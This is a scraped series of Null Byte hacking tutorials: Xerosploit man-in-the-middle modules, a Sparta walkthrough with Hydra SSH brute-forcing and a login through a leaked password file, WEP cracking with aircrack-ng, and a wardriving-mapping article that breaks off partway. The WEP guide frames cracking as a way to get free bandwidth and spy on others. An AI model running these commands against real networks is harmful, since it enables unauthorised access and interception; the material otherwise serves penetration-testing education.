┌══════════════════════════════════════════════════════════════┐
█ █
█ DNS spoofing █
█ █
█ Supply false DNS information to all target browsed hosts █
█ Redirect all the http traffic to the specified one IP █
└══════════════════════════════════════════════════════════════┘
[+] Please type 'run' to execute the 'dspoof' command.
Xero»modules»dspoof ➮ run
[+] Enter the IP address where you want to redirect the traffic.
[++] Redirecting all the traffic to your IP address.
[++] Press 'Ctrl + C' to stop .Step 10: Try Out Its Other ModulesThe other modules you can try out include the following, some of which are pretty fun to test out.yplay: Play a YouTube video in the background of browsers.injectjs: Inject JavaScript into websites loaded by others on the network.injecthtml: Inject HTML instead into websites loaded on the network.dos: Deny internet access to that IP address.pscan: Run a port scan.ping: Ping a device.rdownload: Replace files being downloaded with your own.deface: Swap out every webpage with your own HTML.Xerosploit is a vivid example of why you need to be careful of connecting to an unknown network. While a VPN can protect you in most cases, there are still ways an attacker can manipulate your traffic. So make sure to take as many precautions as possible, like utilizing a VPN, any time you're not sure about the security of the network you're about to connect to.Don't Miss:How to Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and GIFs by Retia/Null ByteRelatedHow To:Use Ettercap to Intercept Passwords with ARP SpoofingHow To:Build a Man-in-the-Middle Tool with Scapy and PythonHacking Gear:10 Essential Gadgets Every Hacker Should TryHow To:Perform epee fencing attacksHow To:Inject Payload into Softwares via HTTPHow To:Advanced System Attacks - Total GuideSubterfuge:MITM Automated Suite That Looks Just Lame.Become an Elite Hacker, Part 2:Spoofing Cookies to Hack Facebook SessionsHow To:Use advanced foil fencing attacks & strategyRIP:ScroogleHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)News:Afghan shooting raises questions about US course in countryHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsNews:Afghan Slayings act of retaliation?News:Chloroform SurpriseNews:News Clips - June 4Shark Survival:Guide to Getting Out AliveHow To:How Hackers Steal Your Cash on Trusted Sites & How to Prevent Against ItNews:UK Man Chokes 13-Year Old Boy Over Call of Duty: Black Ops Trash TalkNews:A Brief Summary on heart attackKick Ass Review Part 2:Gameplay and DesignNews:Attack of the 50 Foot Woman 1958 |
How to Discover & Attack Services on Web Apps or Networks with Sparta « Null Byte :: WonderHowTo | Automating port scanners, directory crawlers, andreconnaissancetools can be complicated for beginners just getting started withKali Linux. Sparta solves this problem with an easy-to-use graphical interface designed to simplify a penetration tester's tasks.Sparta, authored byAntonio QuinaandLeonidas Stavliotis, is a Python-based GUI application that automates scanning, information gathering, and vulnerability assessment with tools likeNikto, WhatWeb,Nmap, Telnet,Dirbuster, andNetcat. It was designed with a simple point-and-click user interface and displays discovered services in an easy-to-navigate and intuitive way.Save for a fewminor updates, no significant changes or features have been added to Sparta since its inception. Still, it's an excellent recon tool worth learning. This article pairs nicely withKody's Null Byte video below by focusing on Sparta's brute-force module and Nikto web crawler, as well as coupling it with other tools to maximize its usefulness for pen-tests and white hat endeavors.Don't Miss:Scan Websites for Vulnerabilities with Vega in Kali LinuxStep 1: Install & Start SpartaSparta will be pre-installed in most version of Kali Linux, but lightweight Kali users will need to install it with the following command.~# apt-get update && apt-get install sparta python-requests
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
avahi-daemon cutycapt finger firebird3.0-common firebird3.0-common-doc geoclue-2.0 hydra iio-sensor-proxy javascript-common ldap-utils libapr1 libaprutil1 libaudio2 libavahi-core7 libavahi-glib1 libbrotli1
libdaemon0 libdouble-conversion1 libfbclient2 libhyphen0 libjs-jquery libmng1 libnss-mdns libpcre2-16-0 libpq5 libqt4-dbus libqt4-declarative libqt4-designer libqt4-help libqt4-network libqt4-script
libqt4-scripttools libqt4-sql libqt4-sql-mysql libqt4-svg libqt4-test libqt4-xml libqt4-xmlpatterns libqt5core5a libqt5dbus5 libqt5gui5 libqt5network5 libqt5positioning5 libqt5printsupport5 libqt5qml5
libqt5quick5 libqt5sensors5 libqt5svg5 libqt5webchannel5 libqt5webkit5 libqt5widgets5 libqtassistantclient4 libqtcore4 libqtdbus4 libqtgui4 libserf-1-1 libssh-4 libsvn1 libtommath1 libutf8proc2 libwoff1
libxcb-icccm4 libxcb-image0 libxcb-keysyms1 libxcb-randr0 libxcb-render-util0 libxcb-xinerama0 libxcb-xkb1 libxkbcommon-x11-0 libxslt1.1 nikto python-asn1crypto python-blinker python-cffi-backend python-click
python-colorama python-crypto python-cryptography python-elixir python-enum34 python-flask python-impacket python-ipaddress python-itsdangerous python-jinja2 python-ldap3 python-markupsafe python-openssl
python-pkg-resources python-pyasn1 python-pycryptodome python-pyinotify python-qt4 python-simplejson python-sip python-six python-sqlalchemy python-sqlalchemy-ext python-werkzeug qdbus qt-at-spi
qt5-gtk-platformtheme qtchooser qtcore4-l10n qttranslations5-l10n rwho rwhod sparta xsltproc
0 upgraded, 109 newly installed, 0 to remove and 0 not upgraded.
Need to get 57.8 MB of archives.
After this operation, 227 MB of additional disk space will be used.
Do you want to continue? [Y/n]From here on, Sparta can be initiated from any terminal with thespartacommand.~# sparta
[+] Creating temporary files..
[+] Wordlist was created/opened: /tmp/sparta-9AE08J-tool-output/sparta-usernames.txt
[+] Wordlist was created/opened: /tmp/sparta-9AE08J-tool-output/sparta-passwords.txt
[+] Loading settings file..Once the command initializes, Sparta's GUI will appear. Alternatively, you can open up the Sparta GUI in Kali directly by visiting the "Information Gathering" section in Applications or via a quick search for the app, but the terminal window will still open showing where the temporary files are located.Step 2: Scan Networks, Devices, or Web AppsSparta can scan a range of IP addresses on a network, but it can also scan website domain names. Once you know the range of IP addresses on the network or the web app you want to check, click on "Click here to add host(s) to scope" under the "Scan" tab.If choosing a network, and you don't know the network range, useifconfigin a new terminal window to get your IP addresses on the network, thenipcalc YourIPAddressto discover the range next to the "Network" result. If you want only to scan the router, use the "HostMin" IP Address. Enter the IP address or range in theIP Rangefield in the Sparta prompt. Hit the "Add to Scope" button when ready to scan.To scan a web app instead, enter its URL or IP address. Hit the "Add to Scope" button when ready to scan.An Nmap scan will take place right away, probing default ports to see if anything is open and available. After that, Nmap and Nikto will run a sequence of other scans looking at less common ports, and screenshots will be attempted. If you open the "Services" tab, you can view services such as HTTP, HTTPS, and UPnP; and in the "Tools" tab, you can see the results on the target scans performed by Nikto and others.Step 3: Analyze the ResultsAfter scanning a web app, there are several interesting services reported within seconds of the scan. To see what would appear when scanning a router on a network or a whole network to find subnet devices, check out the video above. Otherwise, we'll be going over a web app scan here.Most notable in the web app scan seen above, the SSH service is on port 22222. The system administrator likely changed the default SSH port from 22. This attempt to hide the SSH service is called "security through obscurity" and is always a bad security practice. The administrator believes changing the port number to something non-standard will make it harder for attackers to find the service. As we can see, this is not true — Sparta still detected the SSH service.If you want to perform more actions, such as taking a screenshot for a service that has not been screenshotted or did not catch a good enough screengrab, you can right-click on the service. You'll find options such as the following depending on what service or target you right-clicked.PortscanMark as checkedOpen with telnetOpen with ssh client (as root)Open with netcatSend to BruteOpen in browserTake screenshotRun whatwebRun nmap (scripts) on portRun niktoLaunch webslayerLaunch dirbusterGrab bannerFrom the "Hosts" tab, you can also select on the other tabs that appear on the right for a selected host. Aside from "Services," there may be options for "Notes," "Scripts," and "Information." In the latter option, you can get more detailed information about the highlighted system, such as the operating system of the target. The results from the "Tools" tab can also be found as additional tabs here for each target, but the "Tools" tab lets you see other compatible tools that may not have been employed yet.Additionally, you can add more targets to the scope of your can by clicking on "File" in the menu bar, then "Add host(s) to scope."Step 4: Target SSH ServicesSSH is anextremely popularremote administration protocol. If we right-click on a discovered service, in my case, port 22222, and select "Open with SSH client," Sparta will open a new terminal and attempt to authenticate to the service.The authenticity of host '[███.███.███.███]:22222 ([███.███.███.███]:22222)' can't be established.
ECDSA key fingerprint is SHA256:f94dIlgg2kDtCK4ahtN5/iAZxY9D6v+FtNTLK03uTr4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[███.███.███.███]:22222' (ECDSA) to the list of known hosts.
This is a private system maintained by ██████████ Corporation.
All connections are logged and monitored. Issues accessing this server should be reported to ████████@████████████.org.
root@███████████'s password:Some SSH services havelogin bannersconfigured that may prompt clients with a message or warning. In my example, the server displays a warning message when someone attempts to authenticate, revealing an email address. The SSH banner is divulging more information than is necessary since an attacker performing reconnaissance would be able to use the discovered email address in targeted phishing attacks.Right-click on the SSH service again, but this time click the "Send to Brute" option. Then, click on the "Brute" tab in the top left of the Sparta window.From this tab, the SSH service can be brute-forced. Select a username and wordlist to use in the attack. Wordlists in Kali Linux can be found in the /usr/share/wordlists/ directory. TheSecLists repositoryandHashes.org websitealso have great wordlists for penetration testers.When the options are configured, simply press the "Run" button and Sparta will invoke theHydrabrute-force tool.If you're familiar withHydra's command-line options, you can tick the "Additional Options" box to enable them. A successful login will appear as shown below.Realistically, without knowing anything about the system administrator(s) who set up the server, a brute-force attack will likely fail as well as create a ton of authentication failures in the logs (shown below).sshd[18614]: Failed password for root from 11.22.33.44 port 42046 ssh2
sshd[18614]: error: maximum authentication attempts exceeded for root from 11.22.33.44 port 42046 ssh2 [preauth]
sshd[18614]: Disconnecting authenticating user root 11.22.33.44 port 42046: Too many authentication failures [preauth]
sshd[18614]: PAM 4 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=11.22.33.44 user=root
sshd[18614]: PAM service(sshd) ignoring max retries; 5 > 3
sshd[18616]: Failed password for root from 11.22.33.44 port 42050 ssh2
sshd[18616]: Connection closed by authenticating user root 11.22.33.44 port 42050 [preauth]
sshd[18616]: PAM 4 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=11.22.33.44 user=root
sshd[18616]: PAM service(sshd) ignoring max retries; 5 > 3
sshd[18615]: Failed password for root from 11.22.33.44 port 42048 ssh2
sshd[18615]: Connection closed by authenticating user root 11.22.33.44 port 42048 [preauth]
sshd[18615]: PAM 4 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=11.22.33.44 user=root
sshd[18615]: PAM service(sshd) ignoring max retries; 5 > 3
sshd[18618]: Failed password for root from 11.22.33.44 port 42054 ssh2
sshd[18618]: Connection closed by authenticating user root 11.22.33.44 port 42054 [preauth]
sshd[18618]: PAM 4 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=11.22.33.44 user=root
sshd[18618]: PAM service(sshd) ignoring max retries; 5 > 3Step 5: Target HTTP ServicesNikto is a vulnerability scanner which performs a variety of tests against web servers. Among its many scanning features, it checks for outdated software, server misconfigurations, directory checks, weak HTTP headers, and has many available plugins to enhance its functionalities further.It will crawl the web app and attempt to locate thousands of files commonly found in the root directory and sub-directories. On the server side, the system administrator will see error messages that appear as shown below.[2019-05-27 00:28:14] ERROR `/wls-wsat/RegistrationPortTypeRPC11' not found.
[2019-05-27 00:28:14] ERROR `/wls-wsat/ParticipantPortType11' not found.
[2019-05-27 00:28:14] ERROR `/common/about' not found.
[2019-05-27 00:28:14] ERROR `/master.xml' not found.
[2019-05-27 00:28:14] ERROR `/masters.xml' not found.
[2019-05-27 00:28:14] ERROR `/connections.xml' not found.
[2019-05-27 00:28:14] ERROR `/connection.xml' not found.
[2019-05-27 00:28:14] ERROR `/passwords.xml' not found.
[2019-05-27 00:28:14] ERROR `/PasswordsData.xml' not found.
[2019-05-27 00:28:14] ERROR `/users.xml' not found.
[2019-05-27 00:28:14] ERROR `/conndb.xml' not found.
[2019-05-27 00:28:14] ERROR `/conn.xml' not found.
[2019-05-27 00:28:14] ERROR `/security.xml' not found.
[2019-05-27 00:28:14] ERROR `/accounts.xml' not found.
[2019-05-27 00:28:14] ERROR `/db.json' not found.
[2019-05-27 00:28:14] ERROR `/userdata.json' not found.
[2019-05-27 00:28:14] ERROR `/login.json' not found.
[2019-05-27 00:28:14] ERROR `/master.json' not found.
[2019-05-27 00:28:14] ERROR `/masters.json' not found.
[2019-05-27 00:28:14] ERROR `/connections.json' not found.
[2019-05-27 00:28:14] ERROR `/connection.json' not found.
[2019-05-27 00:28:14] ERROR `/passwords.json' not found.
[2019-05-27 00:28:14] ERROR `/PasswordsData.json' not found.
[2019-05-27 00:28:14] ERROR `/users.json' not found.
[2019-05-27 00:28:14] ERROR `/conndb.json' not found.
[2019-05-27 00:28:14] ERROR `/conn.json' not found.
[2019-05-27 00:28:14] ERROR `/security.json' not found.
[2019-05-27 00:28:14] ERROR `/accounts.json' not found.
[2019-05-27 00:28:14] ERROR `/package.json' not found.
[2019-05-27 00:28:14] ERROR `/redis_config.json' not found.
[2019-05-27 00:28:14] ERROR `/credis/tests/redis_config.json' not found.
[2019-05-27 00:28:14] ERROR `/redis/config.json' not found.
[2019-05-27 00:28:14] ERROR `/config/redis.json' not found.
[2019-05-27 00:28:14] ERROR `/firebase.json' not found.
[2019-05-27 00:28:14] ERROR `/ws.asmx' not found.
[2019-05-27 00:28:14] ERROR `/ws/ws.asmx' not found.
[2019-05-27 00:28:14] ERROR `/.gitignore' not found.
[2019-05-27 00:28:14] ERROR `/.hgignore' not found.
[2019-05-27 00:28:14] ERROR `/.env' not found.There are a few noteworthy results in the Nikto output. As we can see in the below report, Nikto tried 7,889 different directories and file names. The "/key" file is probably worth investigating first.The /key file can be accessed by opening a terminal in Kali and using the followingwgetcommand.~# wget -qO- 'http://target.com/key'
# qbittorrent password in case you forget
password: Hunter432The /key file appears to be a note to someone containing a password. It's extremely common for system administrators to leave sensitive files in root directories. This is best demonstrated in a quick search for "passw" in theExploit-DB Google Hacking Database.Step 6: Target Non-Standard HTTP ServicesSparta will treat web servers detected on non-standard ports (i.e., port 8080) like any other by automating Nikto scans, banner grabbing, and screenshots.Reviewing the Nikto report for the service discovered on port 8080, a /login.html webpage has been detected in our scenario here.Navigating totarget.com:8080/login.htmlin Firefox opens the login page for what appears to be aqBittorrent web client. This particular torrent client isgood at detecting brute-force attacks.Fortunately, the system administrator left the qBittorrent password in the root of the web server. With a quick Google search, we learn "admin" is likely the default qBittorrent username. That, coupled with the password provided in the /key file, allows us to access the web application remotely.Now, pivoting from a web app like qBittorrent to the host operating system is beyond the scope of this article. We will be covering the creation of malicious torrent files and backdooring Windows and Linux servers through compromised torrent clients in a future article.Step 7: Save Your Sparta ProgressIt may be desirable to save the scan results for a given scope. In Sparta, click "File" in the menu bar, then "Save As." Select a save location, name it, and click "Save," and all of the Nikto, Nmap, screenshots, and successful brute-force credentials will be available for later review (shown below). Also, with the provided *.sprt file, the results can always be re-opened in Sparta.ConclusionSparta's graphical interface makes it easy to navigate between different services and ports discovered by Nikto, Nmap, and Hydra. Anyone new to these tools will appreciate how Sparta brings them all together in an intuitive, simple way. Sparta is essential for beginners who want to automate and expand their toolset.Don't Miss:Generate Hundreds of Phishing DomainsWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by distortion/Null ByteRelatedHow To:Brute-Force SSH, FTP, VNC & More with BruteDumRaspberry Pi:Physical Backdoor Part 2How To:Tactical Nmap for Beginner Network ReconnaissanceHow To:Use Maltego to Fingerprint an Entire Network Using Only a Domain NameHow To:Use SSH Local Port Forwarding to Pivot into Restricted NetworksHow To:Perform Network-Based Attacks with an SBC ImplantHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:The Five Phases of HackingHack Like a Pro:How to Hack Web Apps, Part 6 (Using OWASP ZAP to Find Vulnerabilities)How To:Automate Brute-Force Attacks for Nmap ScansHow To:Map Networks & Connect to Discovered Devices Using Your PhoneHow To:Leverage a Directory Traversal Vulnerability into Code ExecutionHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Brute-Force Nearly Any Website Login with HatchHow To:Protect Yourself from the KRACK Attacks WPA2 Wi-Fi VulnerabilityHow To:Beginner's Guide to OWASP Juice Shop, Your Practice Hacking Grounds for the 10 Most Common Web App VulnerabilitiesHow To:Conduct Recon on a Web Target with Python ToolsHow To:Advanced System Attacks - Total GuideHow To:Enumerate NetBIOS Shares with NBTScan & Nmap Scripting EngineHow To:Use Ettercap to Intercept Passwords with ARP SpoofingHacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHack Like a Pro:Denial-of-Service (DoS) Tools & TechniquesHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)News:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesLock Down Your Web Server:10 Easy Steps to Stop Hackers from AttackingNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetTor vs. I2P:The Great Onion DebateEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkRIP:ScroogleUDP Flooding:How to Kick a Local User Off the NetworkHow To:Spy on the Web Traffic for Any Computers on Your Network: An Intro to ARP PoisoningHow To:Get By with the Cheaper 16GB Option for iPhone or iPadHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsHow To:How Hackers Steal Your Cash on Trusted Sites & How to Prevent Against ItHow To:A Hitchhiker's Guide to the Internet: A Brief History of How the Net Came to BeNews:Network Admin? You Might Become a Criminal SoonNews:MegaUpload goes down - Anon retaliates.News:Easy Skype iPhone Exploit Exposes Your Phone Book & MoreGoodnight Byte:Coding a Web-Based Password Cracker in Python |
How to Hack Wi-Fi: Cracking WEP Passwords with Aircrack-Ng « Null Byte :: WonderHowTo | Welcome back, my rookie hackers!When Wi-Fi was first developed and popularized in the late '90s, security was not a major concern. Unlike wired connections, anyone could simply connect to a Wi-Fi access point (AP) and steal bandwidth, or worse—sniff the traffic.The first attempt at securing these access points was termed Wired Equivalent Privacy, or simply WEP. This encryption method has been around for quite awhile and a number of weaknesses have been discovered. It has been largely replaced by WPA and WPA2.Despite these known weaknesses, there are still a significant number of these legacy APs in use. I was recently (July 2013) working at a major U.S. Department of Defense contractor in Northern Virginia, and in that building, probably a quarter of the wireless APs were still using WEP!Don't Miss:Hunting Down & Cracking WEP Networks with Besside-ngApparently, a number of home users and small businesses bought their APs years ago, have never upgraded, and don't realize or don't care about its lack of security.The flaws in WEP make it susceptible to various statistical cracking techniques. WEP uses RC4 for encryption, and RC4 requires that the initialization vectors (IVs) be random. The implementation of RC4 in WEP repeats that IV about every 6,000 frames. If we can capture enough of the IVs, we can decipher the key!Now, you might be asking yourself, "Why would I want tohack Wi-Fiwhen I have my own Wi-Fi router and access?" The answer is multi-fold.First, if you hack someone else's Wi-Fi router, you can navigate around the web anonymously, or more precisely, with someone else's IP address. Second, once you hack the Wi-Fi router, you can decrypt their traffic and use a sniffing tool likeWiresharkortcpdumpto capture and spy on all of their traffic. Third, if you use torrents to download large files, you can use someone else's bandwidth, rather than your own.Let's take a look at cracking WEP with the best wireless hacking tool available,aircrack-ng! Hacking wireless is one of my personal favorites!Step 1: Open Aircrack-Ng in BackTrackLet's start by firing upBackTrackand make certain that ourwireless adapteris recognized and operational.iwconfigLet's note that our wireless adapter is recognized by BackTrack and is renamed wlan0. Yours may be wlan1 or wlan2.Step 2: Put the Wireless Adapter into Monitor ModeNext, we need to put the wireless adapter into monitor or promiscuous mode. We can do that by typing:airmon-ng start wlan0Note that the interface's name has been changed to mon0 by airmon-ng.Step 3: Start Capturing TrafficWe now need to start capturing traffic. We do this by using the airmon-ng command with the monitoring interface, mon0.airodump-ng mon0As we can see, we are now able to see all the APs and clients within our range!Step 4: Start a Specific Capture on the APAs you can see from the screenshot above, there are several APs with WEP encryption. Let's target the second one from the top with the ESSID of "wonderhowto." Let's copy the BSSID from this AP and begin a capture on that AP.airodump-ng --bssid 00:09:5B:6F:64:1E -c 11 -w WEPcrack mon0This will start capturing packets from the SSID "wonderhowto" on channel 11 and write them to file WEPcrack in the pcap format. This command alone will now allow us to capture packets in order to crack the WEP key, if we are VERY patient.But we're not patient, we want it now! We want to crack this key ASAP, and to do that, we will need to inject packets into the AP.We now need to wait for someone to connect to the AP so that we can get the MAC address from their network card. When we have their MAC address, we can spoof their MAC and inject packets into their AP. As we can see at the bottom of the screenshot, someone has connected to the "wonderhowto" AP. Now we can hasten our attack!Step 5: Inject ARP TrafficTo spoof their MAC and inject packets, we can use theaireplay-ngcommand. We need the BSSID of the AP and the MAC address of the client who connected to the AP. We will be capturing an ARP packet and then replaying that ARP thousands of times in order to generate the IVs that we need to crack WEP.aireplay-ng -3 -b 00::09:58:6F:64:1E -h 44:60:57:c8:58:A0 mon0Now when we inject the ARPs into the AP, we will capture the IVs that are generated in our airodump file WEPcrack.Step 6: Crack the PasswordOnce we have several thousand IVs in our WEPcrack file, all we need to do is run that file against aircrack-ng, such as this:aircrack-ng WEPcrack-01.capIf we have enough IVs, aircrack-ng will display the key on our screen, usually in hexadecimal format. Simply take that hex key and apply it when logging into the remote AP and you have free wireless!Stay Tuned for More Wireless Hacking GuidesKeep coming back for more on Wi-Fi hacking and other hacking techniques. Haven't seen the other Wi-Fi hacking guides yet?Check them out here. If you have questions on any of this, please ask them in the comments below. If it's something unrelated, try asking in theNull Byte forum.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRouter,blurred user, andWiFiimages via ShutterstockRelatedHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Crack Wi-Fi Passwords—For Beginners!How to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:Hack into wireless networksHack Like a Pro:How to Get Even with Your Annoying Neighbor by Bumping Them Off Their WiFi Network —UndetectedHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Hack a WEP-protected WiFi network with BackTrack 3How To:Use Aircrack-ng to crack a WEP wireless network with no clientsHow to Hack Wi-Fi:DoSing a Wireless AP ContinuouslyHow To:Crack a WEP password with version 4 of the BackTrack Linux distributionHow To:Crack a 64-bit WEP key on a Linux computer with Aircrack-ngHow To:Crack a WEP key with Backtrack 4 and Aircrack-ngHow to Hack Wi-Fi:Capturing WPA Passwords by Targeting Users with a Fluxion AttackHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Hack Wi-Fi Networks with BettercapHow To:Hack into WEP encrypted wireless networksHow To:Crack Wi-Fi Passwords with Your Android Phone and Get Free Internet!How To:Automate Wi-Fi Hacking with Wifite2How To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon)How To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Bypass a Local Network Proxy for Free InternetHow To:Fix the Channel -1 Glitch in Airodump on the Latest KernelNews:Advanced Cracking Techniques, Part 1: Custom DictionariesNews:Best Hacking Software |
How to Map Wardriving Data with Jupyter Notebook « Null Byte :: WonderHowTo | With theWigle WiFiapp running on an Android phone, a hacker candiscover and map any nearby network, including those created by printers and other insecure devices. The default tools to analyze the resulting data can fall short of what a hacker needs, but by importing wardriving data intoJupyter Notebook, we can map all Wi-Fi devices we encounter and slice through the data with ease.Thanks tolow-cost Android smartphonesequipped with GPS and Wi-Fi sensors, wardriving has gotten easier than ever. Witha $60 Android smartphoneand Wigle WiFi, it's possible to map the time and location that you encountered any Wi-Fi or Bluetooth device, with cellular data towers thrown in for good measure.The data produced by wardriving can be extremely valuable. Still, the tools to analyze that data automatically can also come with the problem of exposing the networks you collected by publishing them to a public database like Wigle.net.In [ ]: import pandas as pd
import folium # (https://pypi.python.org/pypi/folium)
df = pd.read_csv('/Users/skickar/Downloads/WigleWifi_20190723192904.csv', delimiter = ',', encoding='latin-1', header=1)
mymap = folium.Map( location=[ df.CurrentLatitude.mean(), df.CurrentLongitude.mean() ], zoom_start=12)
#folium.PolyLine(df[['Latitude','Longitude']].values, color="red", weight=2.5, opacity=1).add_to(mymap)
for coord in df[['CurrentLatitude','CurrentLongitude', 'SSID', 'Type', 'MAC']].values:
if (coord[3] == 'WIFI'):
folium.CircleMarker(location=[coord[0],coord[1]], radius=1,color='red', popup=["SSID:", coord[2], "BSSID:", coord[4]]).add_to(mymap)
#mymap # shows map inline in Jupyter but takes up full width
mymap.save('testone.html') # saves to html file for display belowWhat Data Comes from Wardriving?When you think about the data you can get from wardriving, a couple of useful examples pop out. For one, it's easy to find devices like printers, security cameras, orIoT devicesthat create their own Wi-Fi hotspots. Another piece of data captured while wardriving is the type of security a device is using, making it easy to drive through a city and plot the exact location of every unencrypted or critically vulnerable network.Another benefit of analyzing wardriving data is the ability to determine what types of devices are in a given area. Each manufacturer has a unique MAC address prefix that is captured during wardriving, allowing a hacker to identify the manufacturer of any broadcasting Wi-Fi device. For a hacker, the ability to get a picture of the Wi-Fi, Bluetooth, and cellular signals just by getting an Android smartphone near the target is a huge advantage.Cheap Android Phone for Hacking:GSM Unlocked BLU Studio X8 HD Smartphone for $60Slicing Through the Data with Jupyter & PandasWardriving gives us a lot of useful data, but like analyzing any big data set, the patterns can be hidden underneath lots of irrelevant data. Sorting through it all can be a pain, but fortunately, Wigle.net and the Wigle WiFi app make it possible to do some analysis of the data without any work at all. If, however, you do not want to upload your wardriving capture to a public database like Wigle.net, you can have access to many of the same tools to explore and plot data through Jupyter Notebook.Jupyter Notebook is a Python-based tool for analyzing large data sets, and it allows us to take in data from wardriving to map and interpret however we like. Today, we'll be reading in a CSV file from Wigle WiFi and plotting information about the networks we've observed on a map. The danger of doing so ourselves is that we can run into errors when our source of data has missing or unexpected values, making cleaning our data an essential part of working with it on our own.Don't Miss:Analyze Wi-Fi Data Captures with Jupyter NotebookTo clean a dataset for analysis, we'll need to write some code to hunt down troublesome values like "null" results where no entry was saved, as these will cause any attempt to map the dataset to fail. We'll also write code to filter listings by the type of signal, so we can focus on Wi-Fi networks and ignore Bluetooth and cellular readings. Finally, we'll also learn to filter out unexpected characters, like errant "?" characters in GPS coordinates, which cause mapping results to fail.What You'll NeedJupyter Notebook is free and requires only Python to install, which can be done quickly through Python's package manager, Pip. Aside from that, you'll needWigle WiFirunning on an Android phone.More Info:Wardrive on an Android Phone to Map Vulnerable NetworksStep 1: Download the Data from WigleTo capture your own wardriving data, you can run the Wigle WiFi app on any Android smartphone. From there, you can either upload your data to Wigle.net or export the CSV file from your smartphone directly.In the Wigle WiFi app, you should see the option to export your data as a CSV file in the "Database" section. Once you do so, you can send the file to yourself via email, Dropbox, or any other method you like.If you've exported the data directly from Wigle WiFi, you can proceed to Step 2 below. I advise that you go the exporting-from-Wigle-Wifi-directly route, due to some differences in the way that data is rendered.Otherwise, go to Wigle.net and log in with your username and password. If you don't have one, sign up for one, and then link your Wigle WiFi app to your Wigle.net account. When you upload your data, it should all be saved under the same Wigle.net account so you can retrieve it later.If your data was stored as a KML file, you could convert it online using aKML to CSV conversion website, but you may have to work with the resulting data differently due to the way the conversion outputs the data. Because of that, it's recommended to use a CSV file exported directly from the Wigle WiFi app.Step 2: Download Jupyter NotebookOnce we've downloaded the CSV data, we'll need Jupyter Notebook to start digging through it. Doing so is easy from any system with Python installed. You can simply install it via the Pip package manager with the following commands.~$ python3 -m pip install --upgrade pip
Requirement already up-to-date: pip in /usr/lib/python3/dist-packages (20.0.2)
~$ python3 -m pip install jupyter
Requirements already satisfiedIf you're using Python 2 instead, you can run the following commands, although Python3 is recommended.~$ python -m pip install --upgrade pip
~$ python -m pip install jupyterOnce Jupyter is installed, we can launch it by running the following command in a terminal window.~$ jupyter notebook
[I 01:09:37.432 NotebookApp] JupyterLab extension loaded from /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/jupyterlab
[I 01:09:37.432 NotebookApp] JupyterLab application directory is /Library/Frameworks/Python.framework/Versions/3.6/share/jupyter/lab
[I 01:09:37.436 NotebookApp] Serving notebooks from local directory: /Users/skickar
